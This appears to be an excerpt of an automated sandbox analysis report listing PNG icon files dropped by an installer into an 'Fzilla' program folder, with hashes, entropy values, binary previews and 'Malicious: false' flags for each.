Preview:	.PNG........IHDR................a...}IDATx.e...G....?....w...n..2.b7V.'...Am_m...{./f.y....A...?~.p..]8...W.l...:s.1,q.2.k..../Y..._.y.g.+.Oot...l.6.k,u...z.q...R.&....j.3@"..Xi.}\|.=8...7...<.S..$....9V.g..N.......9....z..r..L..e'_5..d~O....`..T...g.(.H....`...$Q...d. .b.R...X...a...."=.....IP@...X.....A...HH.q....G{...6.<~........F..'Qf0. <8...o@........}.\.es....].....@4I{... t.....0...y.-n....R...7o\G-.R..0.\|.p.I=X.3..0...G..d..N.y6\\..2@}..!...0..1...b..>....u....c.1.............LQ....f........0)'..u1....s.Lu...._...........H..?8.m..H....~....K._?..n.8..3._............osG}.5o8.......0../....x~..$...j.c..*...S.&.........{2M./...(.....4....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\sitemanager.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	743
Entropy (8bit):	7.661409541092386
Encrypted:	false
SSDEEP:	12:6v/7uLu+4upS74aKg/Rhi7ok8fUU1lEmivcWAJTCtwloYTMfU92SsJ3naGf9:PLubupS7esPUmGAJTOwHw331
MD5:	969D28E6AA56CA62359C57AF9D16AFE1
SHA1:	BB73D37D6A56CA8F3A5E2E01B7DF92405C0E593A
SHA-256:	B129567F65655B2133DED61F0DA9EB68330B892A282E797EC0FBE31645001482
SHA-512:	6DBCB5B7CB976888B90EB5251102E4998C4B004B13313016A9763B7DAB8410988C3409D4F65782CC41A81D43E94384FE50857FE1444F82B01F488FEEC02E9F3E
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.u...]1...<...m.m.k.m.v.....4....7s....?.....o#B.RSSm....9RJ....\|..f..1.?xyy..[.u.c..l6T...>G`.i...@.h.[5....?..t ....e..$AQ........{.k.. ....0.5.Y.. .....).c.5...M.%.c;.}........X.h..k:..X,0.!D...wB.V+.1..\(z..~......3P...A.....EX......o..D....tL..)P......".....(..K...LS.......$...+e.O.ac...TE;.{q.b.A.....m>...7...%".3.....^oh..O'.g.@..@<.%"...b..)5/.itz.X.T.z..xy.:Xmf(.n''.O...+...~Ic.Y5../\}xq.20.b15-1.....F.#T...,..d".g4.~..0n....F'8;."=/....O/........R.1.&.F..>.DS Q.T.H.....+./...u....wvv...$...s.N...;.....'[....{......=O.......F...............[v..B..j.d....}...............O.!5jV..qc3.....l........`.2tp_...J...e"#..A@@.V@.f.._........]...D..5....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\speedlimits.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	327
Entropy (8bit):	6.991379176286924
Encrypted:	false
SSDEEP:	6:6v/lhPWL2h573+cvlblhXcHJq30XvJOY8idoyfKMX0okKrQdoxjp:6v/7UVcvlJhoJRvoFSrfKMFGoxN
MD5:	42DA65F59EB24E40B497BB26C4F32BF6
SHA1:	703920EDA5BAD3D9D2DDD55F1C014B015493FA77
SHA-256:	B1D5B457E485017BBDDABE6B0C8986B58D0C064302E42EB5B7D804E65C8CCD09
SHA-512:	378C0C66A0307BD8088995D211434AD0500CF45203E5D2765DD802BB2CC644F77047C127B50B7C9773B0F5C7081993C9DE2F4F19438A37405C95DCBC5D6AF6A5
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx..O..`.]I..I.Y..a.XI $..:A:A........."@ .I........w....7_of.\_^?.....yp...?..?s...a^..(..4M.m..z!.2DQ...q.....I.`.g...G.......e..m..:.. .8.X....xK..7..4.w..i.P..DQ....l.6\|.g..`.i.f..$I\|.i.vr...h].0.S.......*...0M..a.,.x.>.\|.X..a..9...8r.?....!.......`...i....[C.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\synchronize.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	729
Entropy (8bit):	7.622890726886032
Encrypted:	false
SSDEEP:	12:6v/7h0TTf6lRKqKxAJxrwxO2WPczMlnYQfzPThZHX+vmw9taaPpnFtz:5TClgHAgW0+n/bDHXKx98alFl
MD5:	921C942CC800D1FCE8854AFE1DA07FDD
SHA1:	0ACA922B5CC61A6EC4DDC8068322C2F513E72970
SHA-256:	351740E63727868E193567F53873C10250471C003DCC8B279D00354C92CFF915
SHA-512:	827CEEDA6E3ED12A6AAC57B374AC182A14E45447AFAE5C3DC23D8711B1011CEA88373E77DF7742AF9C35FF24F174E7A003FFFA80BE17A9E339B95687AE6FE481
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...C.5G..oU.'....ul..u./..v..&.m.c..c...........d....:..S... EQD.........@..u]u..R......".{.s.\1..rs1;c....=hmmc~.....I.X/cF.G..@c:.....s.....-.y.2.ro.....b.I........"...4A....Y.T...8.~.........'.....O..=......#. 42.z.....1.L.\.....G5..2k.o.3e.w..s....~M....d.s.\|C....Lu.7.I.r.l......8.0:..o.Q,@Dl.]18...x.:.0..J..z0...ac}.A:#..1....5O.j...I........Rm.]...Upg!V....x.....g.Y=........ "..p.[.g-.d.h!!.eLb..Ro.....A#.J....R.I...v..n'.>.dU<.....`x...g..3......p.J1....Lc...;w-..6.z.5..6.J.....g......M...,d..$ ......[!..."B....?5.....\H..@S8.Y..?D....?..!.0. ...A.~.&.).k....RJM.@ .II....\|.>.....a0....5...g.nis.!M{/L...0...K...qAy.!........&D.w..b....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\upload.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	438
Entropy (8bit):	7.472463767706255
Encrypted:	false
SSDEEP:	12:6v/73dGiQB7KgrYIwGUI3vDElAMug8/NO91:S8iM2g8rHI3rhg8/k91
MD5:	F4456E8B033D43B45EB314741C412BB6
SHA1:	4D6D0C346BE833F01C786E919D028C46E0DA14F6
SHA-256:	1E30A6DDA5993A7F782CB75D2983AE9CB771D345E5CA5CD0C6102B492CAA8F51
SHA-512:	001975168B130E7EDF9955603E6E44606AD6CD4F356A88D048F6CB164F314A529BCEB8FE5287773EE56AA87ACD8D259885609E687C1C7B793A6B44CAAAD50782
Malicious:	false
Preview:	.PNG........IHDR................a...}IDATx......A.@...6...8...1k.n.:v..7......~5.....F.H.t.K}../"dKi;.xi8...y...0.yU....h>V.1..x..+..0.r..xh..+.@!G.H...k!.Vm..a.f.T~.y.:.R#..?...$....Mv.\s...{h.......*x.%B-...b..O.mT.m.........._.[b.$Iu..j.t..[..;9.........S.....@M._h.={....3...!i.,..s..B ....4.F.W'0R.G.6.$.1.2..&.j..~...!....Y...S..cH%a#!p.......OU...@9........n..p.......R8..E..<.] DG.s.G?....[3.K.(....^f.7\|......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\uploadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	643
Entropy (8bit):	7.604129644879144
Encrypted:	false
SSDEEP:	12:6v/79/iaehl2fBHa/13T99us6XGqeICPPksevgVKUmp+Ivdifl0c:gT9fBHK3TfusHnQ4YsIvdit0c
MD5:	A1004B232FE3EB85DBCC35C0D5EA9CE6
SHA1:	5D898F13BA4966332614A53D39585A3002B10AF5
SHA-256:	A5FA2C20D415CE65E8ED8D1F8B0474C8243A595AA5F9101E6A4EAE2BA621E570
SHA-512:	0CD394062A9903732515BB1327A224B7E13F007B8806B196A6FF9203610264B2381C6B89A023C35B9980E3FCED88FFFEDAA950C7A7CF54F82E78401BB965C393
Malicious:	false
Preview:	.PNG........IHDR................a...JIDATx......f.../N.....W.m.....=x..m....3.+.N......=.....=....9..#+...^.s....}.A.!q.........{.-../0.?.............$bh.......1.Y5$..1R..'..9....N.5.r...S.aJ.}...#/8..1.......x.....7.m......\|.).........d./....M...#.W......>.}.>J......?....3.2.k..X.N..8k.o.....<....A.#..&.E.Qrd....E=....?i....x....`66.i..e....O......s....<.Ct.O?..@.......l...?p.A+..g.W.....r..?..C?..mI.. !..[.....4..esEr.R..%...)V...Y..C..c.M..j35/.S.7!pSI.ZD....a.Mk..`..........X.l......_]..K:.!...v..\...ql....B...S1.}...i7.v....d..Z..^.5C....J.P\l.\..BI..Dk.x.)..K.~.S....s...~V......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\20x20\is-6IS8Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.64233096673298
Encrypted:	false
SSDEEP:	12:6v/7Bw/C0lKR0YiOVUymmVwdu4wLdb4klPALukyIS+n5G/CIshHhzborRhtl5XWP:v60lsmpQvLdbpl5HT+5fIkh4nK
MD5:	D15EFEE2EA2428E8E15D055C7D1843C3
SHA1:	DC258E603FE7A955360279B2C9D39EA1D92A98B2
SHA-256:	EB2D4C913BF7AF9C4A2B1F6C61C99EBF50E8CC957DEFA33D0317F5AF9FE421E0
SHA-512:	73DD0A126363B26C63C1F032C76F696F35D136474D46C38530B9FCC0FC5B06289F441F64CB200E94B0C35161686FFCD13EA7F2F3121C818FCC5838CD7EFF6E77
Malicious:	false
Preview:	.PNG........IHDR.....................IDATx.b...._g....1.[<y.....O....2....9P....f@........j."..\|}w... .....6..?..@6......._....?F.........-.5`.A.~\...ka...Vv..0........XA...x....v........$.K..0..".q!,$.....ot\|.V..!.X.....b.r.:,......J....[.k....8q...~.L.q&.S..>.go&...L..uS..B..=X`.....$.ya..........5y.L....l.0;O.!..}&.T.~$\|....98...cq..,Hmk.............@L.a&.....=}...r.&....r:....1.>.}. ...NP.;t...l......R....\|M..7.o...jS.................{._..:..-u..Ks%...E..Y........m..;..ss.}...)...uD4.J..=VpJ...R.N/..FP..e.....>.....q.).2...Ys...$L.......2$.q ..b......S..]5..W..K..}..G......K.;...s..@..[...o_...nt........,..z...W_.....5P.\.~+..Sg..J.y.7c...E.&...s.1o...^..+...W...@\|...O....'.L?......2 s.r).QF......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\20x20\server.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.64233096673298
Encrypted:	false
SSDEEP:	12:6v/7Bw/C0lKR0YiOVUymmVwdu4wLdb4klPALukyIS+n5G/CIshHhzborRhtl5XWP:v60lsmpQvLdbpl5HT+5fIkh4nK
MD5:	D15EFEE2EA2428E8E15D055C7D1843C3
SHA1:	DC258E603FE7A955360279B2C9D39EA1D92A98B2
SHA-256:	EB2D4C913BF7AF9C4A2B1F6C61C99EBF50E8CC957DEFA33D0317F5AF9FE421E0
SHA-512:	73DD0A126363B26C63C1F032C76F696F35D136474D46C38530B9FCC0FC5B06289F441F64CB200E94B0C35161686FFCD13EA7F2F3121C818FCC5838CD7EFF6E77
Malicious:	false
Preview:	.PNG........IHDR.....................IDATx.b...._g....1.[<y.....O....2....9P....f@........j."..\|}w... .....6..?..@6......._....?F.........-.5`.A.~\...ka...Vv..0........XA...x....v........$.K..0..".q!,$.....ot\|.V..!.X.....b.r.:,......J....[.k....8q...~.L.q&.S..>.go&...L..uS..B..=X`.....$.ya..........5y.L....l.0;O.!..}&.T.~$\|....98...cq..,Hmk.............@L.a&.....=}...r.&....r:....1.>.}. ...NP.;t...l......R....\|M..7.o...jS.................{._..:..-u..Ks%...E..Y........m..;..ss.}...)...uD4.J..=VpJ...R.N/..FP..e.....>.....q.).2...Ys...$L.......2$.q ..b......S..]5..W..K..}..G......K.;...s..@..[...o_...nt........,..z...W_.....5P.\.~+..Sg..J.y.7c...E.&...s.1o...^..+...W...@\|...O....'.L?......2 s.r).QF......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\24x24\is-I133Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	992
Entropy (8bit):	7.754117743574212
Encrypted:	false
SSDEEP:	24:VU9rwyE39cEJ1+zAlJAyU9W64JxmGstAhHQ:Ywz3OnzcJAyUwRJBw
MD5:	AB62AAC2744EBA861BF3703B53F4F0B1
SHA1:	F6B3A73B2DA6B98E488EFE179F0CD39945B06FF4
SHA-256:	931D088B2DCF596A8EC89536CC022B11129F555716610B099D9C1005C205E311
SHA-512:	9606BE42A2279208441988287999F9F8D141586961EB1FF095517842F520044ED3D09BAF1C7EF236ECD67B5F434692D95EE423AECFA0E5DD87308DBB89BE8A01
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx..SE..P.Mn...0.e..>..{......!c..6..].{.......y.6.zN.I...3.........7..+...+.\|.....w^4WJ....G.:...A.T./+...(f...................>5G......j!.D.'...=&..cA...]........&...{..~.....h..d.Af........iNqf...G....(q...I...........s..A(,..<.N.......D =bQ..n.w....ks.{7..o ....Q.6K.3..g..s.....(.9@O.5"..Tk...#.K.$V..LA.I.;.........M..3.a`....w.{.D."Bm.......K.Z]r.z..D3.@o.I.R.....u\|D.S.....%.....+.#}Li....%....y.4J...(0."....xd35.>...C..$.[..x..xQ.2G..d..9.g../.,...2.D.../,M.,?J3..Z).#..DL.XP..+....i......\.D.p..htE...u......<-..,....8{.8",.`.q..........M...r...........Y...1.....e.#....S..x.....0y...._.......^.X..RpH\.6.. ...e.5..h..}......>o.1..$g..\..K@... r..Z..9........w_~2...W..UU 6.bC...q...e.0q.fp]?0.....1.J.k.}5[?.w.^t.l....@..P...7..4'.M....X..~..o....N<...r.?.`p=.....U.......7J....D...Y...~..........\z..b.w.!....T..'e.....k...J.:.%0...S......a.'..~..\s$}...g.....4..t..d..B.....C.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\24x24\server.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	992
Entropy (8bit):	7.754117743574212
Encrypted:	false
SSDEEP:	24:VU9rwyE39cEJ1+zAlJAyU9W64JxmGstAhHQ:Ywz3OnzcJAyUwRJBw
MD5:	AB62AAC2744EBA861BF3703B53F4F0B1
SHA1:	F6B3A73B2DA6B98E488EFE179F0CD39945B06FF4
SHA-256:	931D088B2DCF596A8EC89536CC022B11129F555716610B099D9C1005C205E311
SHA-512:	9606BE42A2279208441988287999F9F8D141586961EB1FF095517842F520044ED3D09BAF1C7EF236ECD67B5F434692D95EE423AECFA0E5DD87308DBB89BE8A01
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx..SE..P.Mn...0.e..>..{......!c..6..].{.......y.6.zN.I...3.........7..+...+.\|.....w^4WJ....G.:...A.T./+...(f...................>5G......j!.D.'...=&..cA...]........&...{..~.....h..d.Af........iNqf...G....(q...I...........s..A(,..<.N.......D =bQ..n.w....ks.{7..o ....Q.6K.3..g..s.....(.9@O.5"..Tk...#.K.$V..LA.I.;.........M..3.a`....w.{.D."Bm.......K.Z]r.z..D3.@o.I.R.....u\|D.S.....%.....+.#}Li....%....y.4J...(0."....xd35.>...C..$.[..x..xQ.2G..d..9.g../.,...2.D.../,M.,?J3..Z).#..DL.XP..+....i......\.D.p..htE...u......<-..,....8{.8",.`.q..........M...r...........Y...1.....e.#....S..x.....0y...._.......^.X..RpH\.6.. ...e.5..h..}......>o.1..$g..\..K@... r..Z..9........w_~2...W..UU 6.bC...q...e.0q.fp]?0.....1.J.k.}5[?.w.^t.l....@..P...7..4'.M....X..~..o....N<...r.?.`p=.....U.......7J....D...Y...~..........\z..b.w.!....T..'e.....k...J.:.%0...S......a.'..~..\s$}...g.....4..t..d..B.....C.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\ascii.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.733421292896281
Encrypted:	false
SSDEEP:	24:ygHhhOS7zdv+Cp+b7/21tHQPFIDWUf4vRh:1HhhOSAWWeKFIDLIH
MD5:	F91571107734C4EEEF806FDEEBF80819
SHA1:	37CF70B8F3B90E85085D1FE264F2FC6C24F793CC
SHA-256:	33C3952751A550600AFF33060CA7D772FFF8B2A16BE8D51622DBCFF33ACA07E3
SHA-512:	D2F4A594779AB73CAD08926AC5C1EC2793DB608841E4D1E14EB310401B57A3999CE7C61FF06CFD70A90334B31E8EE17773B7AA74A8A3E102C7D317507CB63787
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..V..kG.,.23.w......Bg.x.03....L.?3.a..]#k..z.,........g...=............o.sC...\eWW.s...e...0.{+++................V........,G...4.......6.i.YX.f.Y2.d... ....).BN. ,.]....ik..$..~....}.1>..C...x........U.6S.}...G(t.##....G2.@<.......I.....M..T........\|..ecvv..x..hL.C.@..cZ8........9Z<..C..y.........;w^..............+I.....6....C!...(tvv...I.`..]...~...H.....l.v.QW_...6E.......~+..y....+..2..XXX...r.\|....U....q..q.#}m..T..W.^.......+++.......$.q"..._..q2..H2.R}GG.Z.....k.)...(. ...:.q..I.%._Z\R.8u...~?J.J.5.NA.8p.N.k[..D........'.&.../c....s'...[8....;v.........Z(..+....+rE.....,.X<.@.pWw...\...@ .....u..x.....e...D...r.e$jI........X..G.L...b.....O..._.o..g.}.._\|.y.y.x<....fe....t.-P.....j5v\........$h1....H...u.m...g..bp...kGuu5."..-.hin.P.4.O...C.n...._.....w.q..@ii)JJJxT...Ak[+.......".O.._.I..'.Gww7V@R@oo....H.........\|..........,>t..3..h[B...f...J1[.7...../...@..m..n..-cP.1.k8L...D"s.Y..am..

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\auto.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1258
Entropy (8bit):	7.677520204533597
Encrypted:	false
SSDEEP:	24:hOwNQgQDs9dGoQO2vjilKPE0MQoWY6k6E8poXmzB6zm4Itzj6UAr:hOwN8s9BQrvelKPEZZWsD8pAdzmor
MD5:	FFF6EAACF946EEEA7AC1635BF8B1C23C
SHA1:	C2F9F92D83ED7E851AC212C1A14295392DACC4DA
SHA-256:	DB40390A8621DD447131654B3D5F20FC90AD1506DA70227ADCC62B9AC26FC103
SHA-512:	8D693B51699C2ECF873F3108DDFE35FF3B11732F1FF8E584AFD178BAE939110E954CDA91FCFE985A7BE0C2DA4843A15F91BDF5A58E32D154993A092EDAA69DB3
Malicious:	false
Preview:	.PNG........IHDR... ... .....D......:PLTE...DDDEEE===>>>???@@@BBBDDD<<<FFF===FFFAAA...............................................................................................................sss...................................................................xxx..............yyy......{{{..................fff...---...........PPPSSS...VVV..................WWW......YXY..................YYYZZZ......\[\........................]]].........ddd...ggg...jjjlllnnnooo...ppp...qqq............rrr"""''')))..................}}}......555656......999...:99@@@...BAB....CCC...EEE...LLL.........MMM.........Qsh....$tRNS.3FFFFFFFFFGGJ.............................;IDATx...c..Q....v......k.m.6.[3I~.dk....\...J...&>.2+(.....I.<A.<3....!..,.%...X.x..,.G@b..n.....v..l... (H...N..[.Ii.O.....('.....ox...Ap.RfS..]IHv..@p..s..7.{...<...xN...A..yW....Z,...!...P...9`...9.o.....D...4..w.}<......>.3(....ZW.....<._....N..'...n...nH8W..VI...=v..........Z&.3.g...}.....d.Y.{...........*hAJ....]

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\binary.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	665
Entropy (8bit):	7.543478277845009
Encrypted:	false
SSDEEP:	12:6v/7l5/vHeXyGuLOnT7VyIyAYKvPaabDZdT/j/mRPEKhYi0Iprs9aRNZ/QfxpvsV:G/mC/LOT7YIyqaoLj/cEQYid4ARNZyxi
MD5:	284DA2DA54F4711FD8A8137B229E33E7
SHA1:	BD9BC662335EE2EEBC52398683968E0EF0E6366B
SHA-256:	C9BB4563E2D58BCC4BFD559DE6CA3BF47C8B6354780676C895EFE0103FF1DED4
SHA-512:	DE5E17AEEFF491BF8F5DDCB148FED2BB3DAC0210C881AEC92B90CB935D398E5142B2F60846AAFB08A8A5DADF35305BEC7151343CB05BAC346B22ED3D4FF0B890
Malicious:	false
Preview:	.PNG........IHDR... ... ......s.....`IDATx......f......l.m.....m..k.gF......Q...,7.......g..4..`.x.l8..P@.+.Zm.Z..C.C..$#P..t.M...3.LP...b/.$h.." .SL.........JT.4..P..G.&f..QP....t...2...df.".z..&4.1T(.@.&.\|...s7{B//z..x.M......@...0.(&q.U..z..MADlo.A......v47fw4..[8.9".8.S...E......L...Yt.Y_.....TD.m3`{c.Q.h...0.. .`....y./..e.E.........C1.b.q...H.. ("6D,...sb6..o.`K... .K...C0...:.A%"z.)F1......Bp.QD.....M..+.3...].#q......HAA......\|..\|a\|..@i.......0...Q.......X..eF=.+*.(..uW..7..!.{.Wx.@..v...7..M.+.....F....P....%L.... ...c.........f..5V0..j..3x......{]o/......SV....`bs...3.>...P.D-..Agu.J.....b..........k.n..D.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\bookmark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.8530855181907615
Encrypted:	false
SSDEEP:	48:w/VRfM0mHMbrMS67Xd1LAGNqBtgYxv8Oe:wXfMJsfMSGXdpRqB7v89
MD5:	0AD600B0B6FD4B526FB11F90CBBAD530
SHA1:	DE7459211A962F83A396A54962C16DA27D384341
SHA-256:	6EB0C8A463C18C0E240C701ED020BA54327BC2C34B142ECF417B37B1C01F9FD9
SHA-512:	F7C689C9F3178AB739FFD4A5E3D24C5775FF1B991F5A32D06CE33CAA18A055DE66C16E6EEDCEDFCCD7EA4BE15E2DF9F8D35F75E58A27786B40DC714519ACA415
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....RIDATx.....$[...s3.\.i.mcm.Vhmohm.m..h..jw9...PQ.Q.;=..N.....#q..z.S0.\|....\|...[.....\!..G...\|...>..'o....S.]..U...K....C.n...'o....{..x....wc.../...c...DSx.n.....<.AU<U...+.2`....8..L.h.p......y`..-OT%+......}....mG.y+..`.`..U.}..wM....wcE.YK....O.....,.F..)...b....e.......~...Gn}.c...[p.\|..#...'.W.A..@h..?\|..S.}.9.s`k-DU.j.g`.....m\|.s.D..h.../...Xi...t.p.'s...N...8.x..GBPa.[.8.?...oC.B.k@..Ry.SH..M.}..\|wftfycw>.7....../..Hg..\..3.....5&..&G.(S_.........Bqye..K...=..J.\..[.[lD....u?....O...n..L...~.4..D.E..4.[....t@cBH...H....Z\.t..h..ae..8}......W.._...[..V.....F.M..2......$.^...P.J.N.F.,J.ZX.........;...5....;q.T_..... ...@.h{....`....^.0LP-......G.V*...=...s.`....{..[.A.!v..p..\.V..xt.J.8.\|0.x.@...Gi...oG.~et...O...%..\(.}J..-..}...D.C....j..h.n7U.Q.A<J..p]..R...~=r.....=.?@....((.KK.....w...~]...b.@.4..8.H{.]QuD......&g>?Qi\|....L..k#...9`.8..'{.....tW.1...X9...j...l..r3....?0Sm\|[...E.

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\cancel.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.870408719677622
Encrypted:	false
SSDEEP:	24:ortxIoy+a4yzhN5r4ceW561D+54lyV4tb1pAePuRdDR0c2bC4S9FfOz6yZMNPPhI:GOqtMPr4ceW554lIbeP84SUlZaPhR2
MD5:	F9CD30014105F6D86E81961F23CFA194
SHA1:	84168C3DA7CA619F441377F66601EFFC8921A4B6
SHA-256:	637D05BD0B454B1C019F8441DCBD1B226BCF949786EF45BEF2E70ADFC9B37133
SHA-512:	30E0799783FCD7101337DFA62868FE6D52EEEDF1C6723A8190C73241324F1CF8DDEF6843E3086F5DAEB34ED900B64DA1C7A1CE86AF3328373975DE594F36A0CE
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....pIDATx...........9I'...o.[..g.g.m\.m.6.w.......uUMuuM?k~U.R...AD..5..sI6...../..a...2..]..w5..n.......2....P.x....-......z..G....0v....<.m....>.....s_..;.\|..qWm...)..Z......O.wt6.r.%W......b.O6zu..y.y.X."`D..b.P,....3...).3..}b..g......3.T.@{9.Ga.....[..7.....-..... .....H1_^..q.t.z7.x..CV.....w.m.V....m........'X'...(..A..l..O..^...s.....6.....8&..K!..O...^.....%.Ec.C..~..h.F._E.i4~...e.XN..._..@3..G..q.......!..P.!,!..5{!.5...JkD)..2...M5M.."i......&m..v....:..,...$@u.+V..t.DNZ..8..~$,..:..]...l....Z#..q.....0...g./.D...(U}.....4.R. "..e.LS3..T.@1..zX..5~2(.=m...a.....i..gi...5.EK....>...E..&..j.2Z..5v.F[T#....V.p.J$p.,..+? .......$....;... ..(.0..i...k..:.".F..C....u.R.S.....$7.S..y:O:..w.....z.....AP0q.[.Dn..((....x.^... .....J[..`.!.......30..p'..........(.x.N&.....L.~........x9....C..0x...1...h.\...."@...D.j...'.CE(.(.E...h..JS.x).4.....sk..u&\..[......X...7a/_.R...R4o....}..uL...E0..`...H...kM

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\compare.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2531
Entropy (8bit):	7.889621341238746
Encrypted:	false
SSDEEP:	48:flFuP7h6ggkhoOlo00JyyMYEfzjp8FjyCkYDPE1l0:flETIpYXlo00RrELjpeLfDPgl0
MD5:	0F35F49959B329237A5B3815DE59A78D
SHA1:	C8925125F6FA54AC6E9B55481997C5033C7140E0
SHA-256:	41744AB44BD1B057196C7D7520DDFC13D8555CAC2309D8893BB0515AD6B4B4AB
SHA-512:	838FDE8720C0CCBE3ABE7042E96DFC9088671CB73AA57D95AC4B5B2D79C2738FF65741733BFF201E105E686759356441FB9F03C896E24FC68546CB786D9CED20
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..W..cK.=}.g..d.f=.m....m..z..;...#Nnr.......<.T.j....;_@.........D..J(.U#.0s.fY5D.+.. ..&.R.f`.wkz<.v`...4(.......J....Q.....X"..!....)......j0K&...".~.....^{...D.8..p.o.....]........Rp.....aG..VE..EVj.EQ.Z:..2.H.G...$.).a.....j55Cv(...%.......8.....Hc"1.0.m.EZ%..;....9.D.W........Y..m..TOt0.m.I...t..4."y.x..m...y...UWE.-...gL{.3.J.^*.Z.cea.....6..6Y...w^j.?....0....m.......@....l.......$.....N.9c..........]g.uk7.`...v.5....N{........:d....j..b5... .....F.'^..#..o.0M3.k...fN..../......v....@.`......f...mm?....x#:,.....N_e...>.dp...0@....g.p._..<y....w_..5^r.'.z....L...0W.G......b[.3lD.....u....VOf...kB. &M.......t..r.%....+.!.g...o..o...v.g;..L.......L...9`.....p......'M%>..M...u]T...zt.!j..Jb-.e.4.H4..j......v.....3`..S.@.>.~...>.x@E....b....VC.l...k@.S.0.Z...X..@3._.@.D"c..xv..._.+.... ..x...,k?..6..~....2.UP.jjA.Gj..E.N.0$.0..jY..&$.zS.v......3g............7d..5.u..c.R.%...>h..:..d&6.

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\disconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.838389318161883
Encrypted:	false
SSDEEP:	24:zl2P5TyMJ8W+YAEcq36KxRa0+KMRL2bIcO4DoPoEvzXYveLCZU2Gx:hu5Ty0jnAzMBxx+dJ6DWvUvbvm
MD5:	16A737D3C1055CC00BAFA178C43508F4
SHA1:	6DA9D992A18058269C6680B9827CFE32AD6C9F40
SHA-256:	B2D9AC7AA7B34D2737E0697713B3B3DFFDC4675966DD58AD2DA026EC80125588
